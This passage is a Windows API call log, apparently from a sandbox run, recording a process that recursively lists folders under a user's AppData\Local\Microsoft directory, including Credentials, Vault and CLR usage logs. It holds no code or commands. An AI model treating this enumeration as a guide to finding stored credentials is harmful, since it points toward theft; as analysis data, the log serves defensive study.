hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0217.656] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0217.656] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0217.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0217.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9d3a0) returned 1 [0217.656] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1dc9ce80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x2d [0217.656] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1dc9d0b0 | out: lpFindFileData=0x1dc9d0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.656] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x82fb51b0, ftLastAccessTime.dwHighDateTime=0x1d8a649, ftLastWriteTime.dwLowDateTime=0x82fb51b0, ftLastWriteTime.dwHighDateTime=0x1d8a649, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0217.657] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x1cf9579, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x1cf9579, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0217.658] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40f9be3f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40f9be3f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40f9be3f, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5781bc17, ftCreationTime.dwHighDateTime=0x1d7046d, ftLastAccessTime.dwLowDateTime=0x696efe32, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x696efe32, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b49234, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb1ac323a, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2c68d12, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a11bc67, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x847a2bfc, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x847a2bfc, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb9574d8, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf65ec342, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf65ec342, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0217.659] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0217.660] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0217.660] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9d070 | out: lpFindFileData=0x1dc9d070*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.660] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d2d0) returned 1 [0217.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9d290) returned 1 [0217.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.660] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x36 [0217.660] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.661] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.662] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0217.662] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0217.662] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.662] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x36 [0217.662] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.662] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.663] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0217.663] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.663] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.664] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0217.664] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.664] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.664] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6079694, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6079694, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0xfb55cbfa, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="addinutil.exe.log", cAlternateFileName="ADDINU~1.LOG")) returned 1 [0217.665] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.665] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.665] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x40 [0217.665] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v2.0\\usagelogs\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.665] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6079694, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.666] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6079694, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6079694, 